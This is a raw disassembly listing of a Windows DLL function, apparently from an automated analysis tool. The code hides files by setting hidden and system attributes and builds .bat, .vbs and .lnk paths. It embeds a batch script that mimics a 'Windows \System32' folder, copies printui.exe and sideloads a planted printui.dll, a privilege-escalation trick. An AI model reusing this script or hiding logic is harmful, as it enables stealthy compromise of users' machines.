Function at 0x180054230
Capabilities:
Check if file exists
Get file attributes
Set file attributes

Disassembly:
mov qword [rsp + 0x18], rbx
push rsi
push rdi
push r12
push r14
push r15
sub rsp, 0x6a0
movaps xmmword [rsp + 0x690], xmm6
mov rax, qword [0x18018a280]
xor rax, rsp
mov qword [rsp + 0x680], rax
mov r14, rdx
mov r15, rcx
xor ebx, ebx
lea r12, [0x18016d878]
mov qword [rsp + 0x150], r12
mov qword [rsp + 0x158], 5
mov rcx, rdx
cmp qword [rdx + 0x18], 7
jbe 0x18005428e
mov rcx, qword [rdx]
mov rax, qword [rdx + 0x10]
mov qword [rsp + 0x110], rcx
mov qword [rsp + 0x118], rax
movups xmm0, xmmword [rsp + 0x110]
movups xmmword [rsp + 0xb0], xmm0
movabs rdi, 0xc000000000000000
mov qword [rsp + 0xa0], rdi
mov rcx, r15
cmp qword [r15 + 0x18], 7
jbe 0x1800542d1
mov rcx, qword [r15]
mov rax, qword [r15 + 0x10]
mov qword [rsp + 0x110], rcx
mov qword [rsp + 0x118], rax
movups xmm0, xmmword [rsp + 0x110]
movups xmmword [rsp + 0xc0], xmm0
movabs rsi, 0xc000000000000010
mov qword [rsp + 0xa8], rsi
mov qword [rsp + 0x110], 2
lea rax, [rsp + 0xa0]
mov qword [rsp + 0x118], rax
movaps xmm0, xmmword [rsp + 0x110]
movdqa xmmword [rsp + 0x110], xmm0
movaps xmm1, xmmword [rsp + 0x150]
movdqa xmmword [rsp + 0x150], xmm1
lea r8, [rsp + 0x110]
lea rdx, [rsp + 0x150]
lea rcx, [rsp + 0x170]
call fcn.18000d1f0
nop
mov qword [rsp + 0x150], r12
mov qword [rsp + 0x158], 5
mov rdx, r14
cmp qword [r14 + 0x18], 7
jbe 0x180054384
mov rdx, qword [r14]
mov rax, qword [r14 + 0x10]
mov qword [rsp + 0x110], rdx
mov qword [rsp + 0x118], rax
movups xmm0, xmmword [rsp + 0x110]
movups xmmword [rsp + 0xb0], xmm0
mov qword [rsp + 0xa0], rdi
lea rdx, [r14 + 0x20]
cmp qword [r14 + 0x38], 7
jbe 0x1800543bf
mov rdx, qword [r14 + 0x20]
mov rax, qword [r14 + 0x30]
mov qword [rsp + 0x110], rdx
mov qword [rsp + 0x118], rax
movups xmm0, xmmword [rsp + 0x110]
movups xmmword [rsp + 0xc0], xmm0
mov qword [rsp + 0xa8], rsi
mov qword [rsp + 0x110], 2
lea rax, [rsp + 0xa0]
mov qword [rsp + 0x118], rax
movaps xmm0, xmmword [rsp + 0x110]
movdqa xmmword [rsp + 0x110], xmm0
movaps xmm1, xmmword [rsp + 0x150]
movdqa xmmword [rsp + 0x150], xmm1
lea r8, [rsp + 0x110]
lea rdx, [rsp + 0x150]
lea rcx, [rsp + 0x190]
call fcn.18000d1f0
nop
lea rcx, [rsp + 0x250]
call fcn.1800054d0
mov rdx, rax
lea rax, str..dat
mov qword [rsp + 0x150], rax
mov qword [rsp + 0x158], 9
lea rcx, [rsp + 0x170]
cmp qword [rsp + 0x188], 7
cmova rcx, qword [rsp + 0x170]
mov qword [rsp + 0x110], rcx
mov rax, qword [rsp + 0x180]
mov qword [rsp + 0x118], rax
movups xmm0, xmmword [rsp + 0x110]
movups xmmword [rsp + 0xb0], xmm0
mov qword [rsp + 0xa0], rdi
mov rcx, rdx
cmp qword [rdx + 0x18], 7
jbe 0x1800544c9
mov rcx, qword [rdx]
mov rax, qword [rdx + 0x10]
mov qword [rsp + 0x110], rcx
mov qword [rsp + 0x118], rax
movups xmm0, xmmword [rsp + 0x110]
movups xmmword [rsp + 0xc0], xmm0
mov qword [rsp + 0xa8], rsi
mov qword [rsp + 0x110], 2
lea rax, [rsp + 0xa0]
mov qword [rsp + 0x118], rax
movaps xmm0, xmmword [rsp + 0x110]
movdqa xmmword [rsp + 0x110], xmm0
movaps xmm1, xmmword [rsp + 0x150]
movdqa xmmword [rsp + 0x150], xmm1
lea r8, [rsp + 0x110]
lea rdx, [rsp + 0x150]
lea rcx, [rsp + 0x1f0]
call fcn.18000d1f0
nop
mov rdx, qword [rsp + 0x268]
cmp rdx, 7
jbe 0x180054599
lea rdx, [rdx*2 + 2]
mov rcx, qword [rsp + 0x250]
mov rax, rcx
cmp rdx, 0x1000
jb 0x180054594
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x180056312
call fcn.18008ed30
movdqa xmm6, xmmword [0x18016fc30]
movdqu xmmword [rsp + 0x260], xmm6
mov word [rsp + 0x250], bx
lea rcx, [rsp + 0x2d0]
call fcn.1800054d0
mov rdx, rax
lea rax, str..bat
mov qword [rsp + 0x150], rax
mov qword [rsp + 0x158], 9
lea rcx, [rsp + 0x170]
cmp qword [rsp + 0x188], 7
cmova rcx, qword [rsp + 0x170]
mov qword [rsp + 0x110], rcx
mov rax, qword [rsp + 0x180]
mov qword [rsp + 0x118], rax
movups xmm0, xmmword [rsp + 0x110]
movups xmmword [rsp + 0xb0], xmm0
mov qword [rsp + 0xa0], rdi
mov rcx, rdx
cmp qword [rdx + 0x18], 7
jbe 0x180054634
mov rcx, qword [rdx]
mov rax, qword [rdx + 0x10]
mov qword [rsp + 0x110], rcx
mov qword [rsp + 0x118], rax
movups xmm0, xmmword [rsp + 0x110]
movups xmmword [rsp + 0xc0], xmm0
mov qword [rsp + 0xa8], rsi
mov qword [rsp + 0x110], 2
lea rax, [rsp + 0xa0]
mov qword [rsp + 0x118], rax
movaps xmm0, xmmword [rsp + 0x110]
movdqa xmmword [rsp + 0x110], xmm0
movaps xmm1, xmmword [rsp + 0x150]
movdqa xmmword [rsp + 0x150], xmm1
lea r8, [rsp + 0x110]
lea rdx, [rsp + 0x150]
lea rcx, [rsp + 0x1d0]
call fcn.18000d1f0
nop
mov rdx, qword [rsp + 0x2e8]
cmp rdx, 7
jbe 0x180054704
lea rdx, [rdx*2 + 2]
mov rcx, qword [rsp + 0x2d0]
mov rax, rcx
cmp rdx, 0x1000
jb 0x1800546ff
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x180056318
call fcn.18008ed30
movdqu xmmword [rsp + 0x2e0], xmm6
mov word [rsp + 0x2d0], bx
lea rcx, [rsp + 0x250]
call fcn.1800054d0
mov rdx, rax
lea rax, str..vbs
mov qword [rsp + 0x150], rax
mov qword [rsp + 0x158], 9
lea rcx, [rsp + 0x170]
cmp qword [rsp + 0x188], 7
cmova rcx, qword [rsp + 0x170]
mov qword [rsp + 0x110], rcx
mov rax, qword [rsp + 0x180]
mov qword [rsp + 0x118], rax
movups xmm0, xmmword [rsp + 0x110]
movups xmmword [rsp + 0xb0], xmm0
mov qword [rsp + 0xa0], rdi
mov rcx, rdx
cmp qword [rdx + 0x18], 7
jbe 0x180054797
mov rcx, qword [rdx]
mov rax, qword [rdx + 0x10]
mov qword [rsp + 0x110], rcx
mov qword [rsp + 0x118], rax
movups xmm0, xmmword [rsp + 0x110]
movups xmmword [rsp + 0xc0], xmm0
mov qword [rsp + 0xa8], rsi
mov qword [rsp + 0x110], 2
lea rax, [rsp + 0xa0]
mov qword [rsp + 0x118], rax
movaps xmm0, xmmword [rsp + 0x110]
movdqa xmmword [rsp + 0x110], xmm0
movaps xmm1, xmmword [rsp + 0x150]
movdqa xmmword [rsp + 0x150], xmm1
lea r8, [rsp + 0x110]
lea rdx, [rsp + 0x150]
lea rcx, [rsp + 0x2b0]
call fcn.18000d1f0
nop
mov rdx, qword [rsp + 0x268]
cmp rdx, 7
jbe 0x180054867
lea rdx, [rdx*2 + 2]
mov rcx, qword [rsp + 0x250]
mov rax, rcx
cmp rdx, 0x1000
jb 0x180054862
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x18005631e
call fcn.18008ed30
movdqu xmmword [rsp + 0x260], xmm6
mov word [rsp + 0x250], bx
mov qword [rsp + 0x150], r12
mov qword [rsp + 0x158], 5
lea rax, [rsp + 0x170]
cmp qword [rsp + 0x188], 7
cmova rax, qword [rsp + 0x170]
mov qword [rsp + 0x110], rax
mov rax, qword [rsp + 0x180]
mov qword [rsp + 0x118], rax
movups xmm0, xmmword [rsp + 0x110]
movups xmmword [rsp + 0xb0], xmm0
mov qword [rsp + 0xa0], rdi
lea rdx, [r15 + 0x20]
cmp qword [r15 + 0x38], 7
jbe 0x1800548e5
mov rdx, qword [r15 + 0x20]
mov rax, qword [r15 + 0x30]
mov qword [rsp + 0x110], rdx
mov qword [rsp + 0x118], rax
movups xmm0, xmmword [rsp + 0x110]
movups xmmword [rsp + 0xc0], xmm0
mov qword [rsp + 0xa8], rsi
mov qword [rsp + 0x110], 2
lea rax, [rsp + 0xa0]
mov qword [rsp + 0x118], rax
movaps xmm0, xmmword [rsp + 0x110]
movdqa xmmword [rsp + 0x110], xmm0
movaps xmm1, xmmword [rsp + 0x150]
movdqa xmmword [rsp + 0x150], xmm1
lea r8, [rsp + 0x110]
lea rdx, [rsp + 0x150]
lea rcx, [rsp + 0x290]
call fcn.18000d1f0
nop
lea rax, str..lnk
mov qword [rsp + 0x150], rax
mov qword [rsp + 0x158], 9
mov rdx, r14
cmp qword [r14 + 0x18], 7
jbe 0x180054995
mov rdx, qword [r14]
mov rax, qword [r14 + 0x10]
mov qword [rsp + 0x110], rdx
mov qword [rsp + 0x118], rax
movups xmm0, xmmword [rsp + 0x110]
movups xmmword [rsp + 0xb0], xmm0
mov qword [rsp + 0xa0], rdi
lea rdx, [r14 + 0x20]
cmp qword [r14 + 0x38], 7
jbe 0x1800549d0
mov rdx, qword [r14 + 0x20]
mov rax, qword [r14 + 0x30]
mov qword [rsp + 0x110], rdx
mov qword [rsp + 0x118], rax
movups xmm0, xmmword [rsp + 0x110]
movups xmmword [rsp + 0xc0], xmm0
mov qword [rsp + 0xa8], rsi
mov qword [rsp + 0x110], 2
lea rax, [rsp + 0xa0]
mov qword [rsp + 0x118], rax
movaps xmm0, xmmword [rsp + 0x110]
movdqa xmmword [rsp + 0x110], xmm0
movaps xmm1, xmmword [rsp + 0x150]
movdqa xmmword [rsp + 0x150], xmm1
lea r8, [rsp + 0x110]
lea rdx, [rsp + 0x150]
lea rcx, [rsp + 0x230]
call fcn.18000d1f0
nop
lea rdx, [r15 + 0x60]
mov r8, qword [rdx + 0x10]
cmp qword [rdx + 0x18], 7
jbe 0x180054a6a
mov rdx, qword [rdx]
xorps xmm0, xmm0
movups xmmword [rsp + 0x130], xmm0
mov qword [rsp + 0x140], rbx
mov qword [rsp + 0x148], rbx
lea rcx, [rsp + 0x130]
call fcn.18000acd0
nop
mov r8d, 3
lea rdx, [rsp + 0x130]
lea rcx, [rsp + 0x110]
call fcn.180021d40
movsd xmm0, qword [rax]
movsd qword [rsp + 0x150], xmm0
mov ecx, dword [rax + 8]
mov dword [rsp + 0x110], ecx
lea r12, [0x18018b270]
mov qword [rsp + 0x118], r12
movaps xmm0, xmmword [rsp + 0x110]
movdqa xmmword [rsp + 0x110], xmm0
mov eax, dword [rsp + 0x150]
test eax, eax
je 0x180054b3c
cmp eax, 1
sete dil
mov rdx, qword [rsp + 0x148]
cmp rdx, 7
jbe 0x180054b4e
lea rdx, [rdx*2 + 2]
mov rcx, qword [rsp + 0x130]
mov rax, rcx
cmp rdx, 0x1000
jb 0x180054b49
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x180056324
jmp 0x180054b49
mov dil, 1
test ecx, ecx
jne 0x18005632a
jmp 0x180054af7
call fcn.18008ed30
test dil, dil
je 0x180054e0b
mov eax, ebx
xchg byte [r15 + 0xc0], al
mov rdx, qword [rsp + 0x248]
cmp rdx, 7
jbe 0x180054ba8
lea rdx, [rdx*2 + 2]
mov rcx, qword [rsp + 0x230]
mov rax, rcx
cmp rdx, 0x1000
jb 0x180054ba3
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x180056347
call fcn.18008ed30
mov qword [rsp + 0x240], rbx
mov qword [rsp + 0x248], 7
mov word [rsp + 0x230], bx
mov rdx, qword [rsp + 0x2a8]
cmp rdx, 7
jbe 0x180054c0c
lea rdx, [rdx*2 + 2]
mov rcx, qword [rsp + 0x290]
mov rax, rcx
cmp rdx, 0x1000
jb 0x180054c07
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x18005634d
call fcn.18008ed30
movdqu xmmword [rsp + 0x2a0], xmm6
mov word [rsp + 0x290], bx
mov rdx, qword [rsp + 0x2c8]
cmp rdx, 7
jbe 0x180054c65
lea rdx, [rdx*2 + 2]
mov rcx, qword [rsp + 0x2b0]
mov rax, rcx
cmp rdx, 0x1000
jb 0x180054c60
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x180056353
call fcn.18008ed30
movdqu xmmword [rsp + 0x2c0], xmm6
mov word [rsp + 0x2b0], bx
mov rdx, qword [rsp + 0x1e8]
cmp rdx, 7
jbe 0x180054cbe
lea rdx, [rdx*2 + 2]
mov rcx, qword [rsp + 0x1d0]
mov rax, rcx
cmp rdx, 0x1000
jb 0x180054cb9
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x180056359
call fcn.18008ed30
mov qword [rsp + 0x1e0], rbx
mov qword [rsp + 0x1e8], 7
mov word [rsp + 0x1d0], bx
mov rdx, qword [rsp + 0x208]
cmp rdx, 7
jbe 0x180054d22
lea rdx, [rdx*2 + 2]
mov rcx, qword [rsp + 0x1f0]
mov rax, rcx
cmp rdx, 0x1000
jb 0x180054d1d
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x18005635f
call fcn.18008ed30
mov qword [rsp + 0x200], rbx
mov qword [rsp + 0x208], 7
mov word [rsp + 0x1f0], bx
mov rdx, qword [rsp + 0x1a8]
cmp rdx, 7
jbe 0x180054d86
lea rdx, [rdx*2 + 2]
mov rcx, qword [rsp + 0x190]
mov rax, rcx
cmp rdx, 0x1000
jb 0x180054d81
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x180056365
call fcn.18008ed30
mov qword [rsp + 0x1a0], rbx
mov qword [rsp + 0x1a8], 7
mov word [rsp + 0x190], bx
mov rdx, qword [rsp + 0x188]
cmp rdx, 7
jbe 0x180054dea
lea rdx, [rdx*2 + 2]
mov rcx, qword [rsp + 0x170]
mov rax, rcx
cmp rdx, 0x1000
jb 0x180054de5
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x18005636b
call fcn.18008ed30
mov qword [rsp + 0x180], rbx
mov qword [rsp + 0x188], 7
mov word [rsp + 0x170], bx
jmp 0x1800562e2
lea rdx, [rsp + 0x1f0]
cmp qword [rsp + 0x208], 7
cmova rdx, qword [rsp + 0x1f0]
xorps xmm0, xmm0
movups xmmword [rsp + 0x2f0], xmm0
mov qword [rsp + 0x300], rbx
mov qword [rsp + 0x308], rbx
mov r8, qword [rsp + 0x200]
lea rcx, [rsp + 0x2f0]
call fcn.18000acd0
nop
lea rdx, [rsp + 0x1d0]
cmp qword [rsp + 0x1e8], 7
cmova rdx, qword [rsp + 0x1d0]
xorps xmm0, xmm0
movups xmmword [rsp + 0x270], xmm0
mov qword [rsp + 0x280], rbx
mov qword [rsp + 0x288], rbx
mov r8, qword [rsp + 0x1e0]
lea rcx, [rsp + 0x270]
call fcn.18000acd0
nop
lea rcx, [rsp + 0x2f0]
cmp qword [rsp + 0x308], 7
cmova rcx, qword [rsp + 0x2f0]
mov rax, qword [rsp + 0x300]
lea rsi, [rcx + rax*2]
mov rdi, rsi
mov rdx, rsi
call fcn.180020420
cmp rax, rsi
je 0x180054f1b
movzx ecx, word [rax]
cmp cx, 0x5c
je 0x180054ee6
cmp cx, 0x2f
jne 0x180054eef
add rax, 2
cmp rax, rsi
jne 0x180054ed7
cmp rax, rsi
je 0x180054f1b
nop dword [rax]
nop dword [rax + rax]
lea rdx, [rdi - 2]
movzx ecx, word [rdx]
cmp cx, 0x5c
je 0x180054f1b
cmp cx, 0x2f
je 0x180054f1b
mov rdi, rdx
cmp rax, rdx
jne 0x180054f00
sub rsi, rdi
sar rsi, 1
xorps xmm0, xmm0
movups xmmword [rsp + 0x130], xmm0
mov qword [rsp + 0x140], rbx
mov qword [rsp + 0x148], rbx
mov r8, rsi
mov rdx, rdi
lea rcx, [rsp + 0x130]
call fcn.18000acd0
nop
lea rdx, [rsp + 0x130]
lea rcx, [rsp + 0x310]
call fcn.180006650
nop
mov rdx, qword [rsp + 0x148]
cmp rdx, 7
jbe 0x180054fae
lea rdx, [rdx*2 + 2]
mov rcx, qword [rsp + 0x130]
mov rax, rcx
cmp rdx, 0x1000
jb 0x180054fa9
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x180056432
call fcn.18008ed30
lea rcx, [rsp + 0x270]
cmp qword [rsp + 0x288], 7
cmova rcx, qword [rsp + 0x270]
mov rax, qword [rsp + 0x280]
lea rsi, [rcx + rax*2]
mov rdi, rsi
mov rdx, rsi
call fcn.180020420
cmp rax, rsi
je 0x18005501c
movzx ecx, word [rax]
cmp cx, 0x5c
je 0x180054ff3
cmp cx, 0x2f
jne 0x180054ffc
add rax, 2
cmp rax, rsi
jne 0x180054fe4
cmp rax, rsi
je 0x18005501c
lea rdx, [rdi - 2]
movzx ecx, word [rdx]
cmp cx, 0x5c
je 0x18005501c
cmp cx, 0x2f
je 0x18005501c
mov rdi, rdx
cmp rax, rdx
jne 0x180055001
sub rsi, rdi
sar rsi, 1
xorps xmm0, xmm0
movups xmmword [rsp + 0x130], xmm0
mov qword [rsp + 0x140], rbx
mov qword [rsp + 0x148], rbx
mov r8, rsi
mov rdx, rdi
lea rcx, [rsp + 0x130]
call fcn.18000acd0
nop
lea rdx, [rsp + 0x130]
lea rcx, [rsp + 0x250]
call fcn.180006650
nop
mov rdx, qword [rsp + 0x148]
cmp rdx, 7
jbe 0x1800550af
lea rdx, [rdx*2 + 2]
mov rcx, qword [rsp + 0x130]
mov rax, rcx
cmp rdx, 0x1000
jb 0x1800550aa
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x18005642c
call fcn.18008ed30
lea rdx, [rsp + 0x170]
cmp qword [rsp + 0x188], 7
cmova rdx, qword [rsp + 0x170]
xorps xmm0, xmm0
movups xmmword [rsp + 0x130], xmm0
mov qword [rsp + 0x140], rbx
mov qword [rsp + 0x148], rbx
mov r8, qword [rsp + 0x180]
lea rcx, [rsp + 0x130]
call fcn.18000acd0
nop
mov r8d, 3
lea rdx, [rsp + 0x130]
lea rcx, [rsp + 0x110]
call fcn.180021d40
movsd xmm0, qword [rax]
movsd qword [rsp + 0x150], xmm0
mov ecx, dword [rax + 8]
mov dword [rsp + 0x110], ecx
mov qword [rsp + 0x118], r12
movaps xmm0, xmmword [rsp + 0x110]
movdqa xmmword [rsp + 0x110], xmm0
mov eax, dword [rsp + 0x150]
test eax, eax
je 0x18005519c
cmp eax, 1
setne dil
mov rdx, qword [rsp + 0x148]
cmp rdx, 7
jbe 0x1800551ae
lea rdx, [rdx*2 + 2]
mov rcx, qword [rsp + 0x130]
mov rax, rcx
cmp rdx, 0x1000
jb 0x1800551a9
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x180056371
jmp 0x1800551a9
xor dil, dil
test ecx, ecx
jne 0x180056377
jmp 0x180055157
call fcn.18008ed30
test dil, dil
je 0x1800551e4
lea rdx, [rsp + 0x170]
lea rcx, [rsp + 0x210]
call fcn.180026670
nop
lea rcx, [rsp + 0x210]
call fcn.180052580
nop
lea rcx, [rsp + 0x210]
call fcn.1800065e0
lea rdx, [rsp + 0x230]
cmp qword [rsp + 0x248], 7
cmova rdx, qword [rsp + 0x230]
xorps xmm0, xmm0
movups xmmword [rsp + 0x130], xmm0
mov qword [rsp + 0x140], rbx
mov qword [rsp + 0x148], rbx
mov r8, qword [rsp + 0x240]
lea rcx, [rsp + 0x130]
call fcn.18000acd0
nop
mov r8d, 3
lea rdx, [rsp + 0x130]
lea rcx, [rsp + 0x110]
call fcn.180021d40
movsd xmm0, qword [rax]
movsd qword [rsp + 0x150], xmm0
mov ecx, dword [rax + 8]
mov dword [rsp + 0x110], ecx
mov qword [rsp + 0x118], r12
movaps xmm0, xmmword [rsp + 0x110]
movdqa xmmword [rsp + 0x110], xmm0
mov eax, dword [rsp + 0x150]
test eax, eax
je 0x1800552d1
cmp eax, 1
setne dil
mov rdx, qword [rsp + 0x148]
cmp rdx, 7
jbe 0x1800552e3
lea rdx, [rdx*2 + 2]
mov rcx, qword [rsp + 0x130]
mov rax, rcx
cmp rdx, 0x1000
jb 0x1800552de
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x180056394
jmp 0x1800552de
xor dil, dil
test ecx, ecx
jne 0x18005639a
jmp 0x18005528c
call fcn.18008ed30
test dil, dil
je 0x180055319
lea rdx, [rsp + 0x230]
lea rcx, [rsp + 0x210]
call fcn.180026670
nop
lea rcx, [rsp + 0x210]
call fcn.18003e9c0
nop
lea rcx, [rsp + 0x210]
call fcn.1800065e0
lea rdx, [rsp + 0x170]
cmp qword [rsp + 0x188], 7
cmova rdx, qword [rsp + 0x170]
xorps xmm0, xmm0
movups xmmword [rsp + 0x110], xmm0
mov qword [rsp + 0x120], rbx
mov qword [rsp + 0x128], rbx
mov r8, qword [rsp + 0x180]
lea rcx, [rsp + 0x110]
call fcn.18000acd0
nop
lea rcx, [rsp + 0x110]
cmp qword [rsp + 0x128], 7
cmova rcx, qword [rsp + 0x110]
call fcn.18008d39c
mov rdx, rax
shr rax, 0x20
test eax, eax
jne 0x1800563b7
mov rdx, qword [rsp + 0x128]
cmp rdx, 7
jbe 0x1800553da
lea rdx, [rdx*2 + 2]
mov rcx, qword [rsp + 0x110]
mov rax, rcx
cmp rdx, 0x1000
jb 0x1800553d5
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x1800563d0
call fcn.18008ed30
lea rdx, [rsp + 0x190]
cmp qword [rsp + 0x1a8], 7
cmova rdx, qword [rsp + 0x190]
xorps xmm0, xmm0
movups xmmword [rsp + 0x130], xmm0
mov qword [rsp + 0x140], rbx
mov qword [rsp + 0x148], rbx
mov r8, qword [rsp + 0x1a0]
lea rcx, [rsp + 0x130]
call fcn.18000acd0
nop
mov r8d, 3
lea rdx, [rsp + 0x130]
lea rcx, [rsp + 0x110]
call fcn.180021d40
movsd xmm0, qword [rax]
movsd qword [rsp + 0x150], xmm0
mov ecx, dword [rax + 8]
mov dword [rsp + 0x110], ecx
mov qword [rsp + 0x118], r12
movaps xmm0, xmmword [rsp + 0x110]
movdqa xmmword [rsp + 0x110], xmm0
mov eax, dword [rsp + 0x150]
test eax, eax
je 0x1800554c7
cmp eax, 1
sete dil
mov rdx, qword [rsp + 0x148]
cmp rdx, 7
jbe 0x1800554d9
lea rdx, [rdx*2 + 2]
mov rcx, qword [rsp + 0x130]
mov rax, rcx
cmp rdx, 0x1000
jb 0x1800554d4
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x1800563d6
jmp 0x1800554d4
mov dil, 1
test ecx, ecx
jne 0x1800563dc
jmp 0x180055482
call fcn.18008ed30
test dil, dil
je 0x18005550f
lea rdx, [rsp + 0x190]
lea rcx, [rsp + 0x210]
call fcn.180026670
nop
lea rcx, [rsp + 0x210]
call fcn.18003ea10
nop
lea rcx, [rsp + 0x210]
call fcn.1800065e0
lea rcx, [rsp + 0x190]
cmp qword [rsp + 0x1a8], 7
cmova rcx, qword [rsp + 0x190]
call qword [sym.imp.KERNEL32.dll_GetFileAttributesW]
cmp eax, 0xffffffff
je 0x18005555d
test al, 4
jne 0x18005555d
lea rcx, [rsp + 0x190]
cmp qword [rsp + 0x1a8], 7
cmova rcx, qword [rsp + 0x190]
mov edx, 6
call qword [sym.imp.KERNEL32.dll_SetFileAttributesW]
lea rcx, [rsp + 0x170]
cmp qword [rsp + 0x188], 7
cmova rcx, qword [rsp + 0x170]
call qword [sym.imp.KERNEL32.dll_GetFileAttributesW]
cmp eax, 0xffffffff
je 0x1800555ab
test al, 4
jne 0x1800555ab
lea rcx, [rsp + 0x170]
cmp qword [rsp + 0x188], 7
cmova rcx, qword [rsp + 0x170]
mov edx, 6
call qword [sym.imp.KERNEL32.dll_SetFileAttributesW]
lea rdx, [rsp + 0x1f0]
cmp qword [rsp + 0x208], 7
cmova rdx, qword [rsp + 0x1f0]
xorps xmm0, xmm0
movups xmmword [rsp + 0x130], xmm0
mov qword [rsp + 0x140], rbx
mov qword [rsp + 0x148], rbx
mov r8, qword [rsp + 0x200]
lea rcx, [rsp + 0x130]
call fcn.18000acd0
nop
lea rdx, [r15 + 0x60]
mov r8, qword [rdx + 0x10]
cmp qword [rdx + 0x18], 7
jbe 0x180055608
mov rdx, qword [rdx]
xorps xmm0, xmm0
movups xmmword [rsp + 0x110], xmm0
mov qword [rsp + 0x120], rbx
mov qword [rsp + 0x128], rbx
lea rcx, [rsp + 0x110]
call fcn.18000acd0
nop
lea rdx, [rsp + 0x130]
cmp qword [rsp + 0x148], 7
cmova rdx, qword [rsp + 0x130]
lea rcx, [rsp + 0x110]
cmp qword [rsp + 0x128], 7
cmova rcx, qword [rsp + 0x110]
xor r8d, r8d
call fcn.18008d0e4
mov rdx, rax
shr rax, 0x20
test eax, eax
jne 0x1800563f9
mov rdx, qword [rsp + 0x128]
cmp rdx, 7
jbe 0x1800556c4
lea rdx, [rdx*2 + 2]
mov rcx, qword [rsp + 0x110]
mov rax, rcx
cmp rdx, 0x1000
jb 0x1800556bf
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x18005641a
call fcn.18008ed30
movdqu xmmword [rsp + 0x120], xmm6
mov word [rsp + 0x110], bx
mov rdx, qword [rsp + 0x148]
cmp rdx, 7
jbe 0x18005571d
lea rdx, [rdx*2 + 2]
mov rcx, qword [rsp + 0x130]
mov rax, rcx
cmp rdx, 0x1000
jb 0x180055718
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x180056420
call fcn.18008ed30
xorps xmm0, xmm0
movups xmmword [rsp + 0x1b0], xmm0
xorps xmm1, xmm1
movdqu xmmword [rsp + 0x1c0], xmm1
mov r8d, reloc.LIBPQ.dll_Ordinal_14
lea rdx, str._SystemDrive__
lea rcx, [rsp + 0x1b0]
call fcn.18000acd0
nop
mov eax, dword [r14 + 0x40]
test eax, eax
jne 0x180055b80
lea rdx, [rsp + 0x190]
lea rcx, [rsp + 0xa0]
call fcn.180026670
nop
lea rdx, [rsp + 0xf0]
mov rcx, rax
call fcn.180020830
nop
lea rdx, [rsp + 0xd0]
mov rcx, rax
call fcn.180020810
nop
lea rcx, str._echo_off_r_nchcp_65001_r_nexplorer__..__r_nif_not_exist__Windows_System32010101____r_n_tif_exist__Windows_System32__rmdir__S__Q___Windows___r_n_tmkdir___Windows_System32__r_n_ttimeout__t_1__nobreak_r_n_tmkdir__Windows_System32010101__r_n_ttimeout__t_1__nobreak_r_n_txcopy__WindowsSystem32printui.exe___Windows_System32___Y_r_n_ttimeout__t_1__nobreak_r_n_txcopy_____Windows_System32___Y_r_n_ttimeout__t_5__nobreak_r_n_tren__Windows_System32___printui.dll__r_n_tif_exist__Windows_System32printui.exe____r_n_t_tif_exist__Windows_System32printui.dll____r_n_t_t_tstart_____Windows_System32printui.exe__r_n_t_t__else_rmdir__S__Q___Windows___r_n_t__else_rmdir__S__Q___Windows___r_n_
mov qword [rsp + 0x110], rcx
mov qword [rsp + 0x118], 0x2ac
lea rcx, [rsp + 0x1b0]
mov qword [rsp + 0x90], rcx
lea rcx, [rsp + 0x1b0]
mov qword [rsp + 0x88], rcx
lea rcx, [rsp + 0x1b0]
mov qword [rsp + 0x80], rcx
lea rcx, [rsp + 0x1b0]
mov qword [rsp + 0x78], rcx
lea rcx, [rsp + 0x1b0]
mov qword [rsp + 0x70], rcx
lea rcx, [rsp + 0x310]
mov qword [rsp + 0x68], rcx
lea rcx, [rsp + 0x1b0]
mov qword [rsp + 0x60], rcx
lea rcx, [rsp + 0x1b0]
mov qword [rsp + 0x58], rcx
lea rcx, [rsp + 0x310]
mov qword [rsp + 0x50], rcx
lea rcx, [rsp + 0x1b0]
mov qword [rsp + 0x48], rcx
lea rcx, [rsp + 0x1b0]
mov qword [rsp + 0x40], rcx
lea rcx, [rsp + 0x1b0]
mov qword [rsp + 0x38], rcx
lea rcx, [rsp + 0x1b0]
mov qword [rsp + 0x30], rcx
lea rcx, [rsp + 0x1b0]
mov qword [rsp + 0x28], rcx
lea rcx, [rsp + 0x1b0]
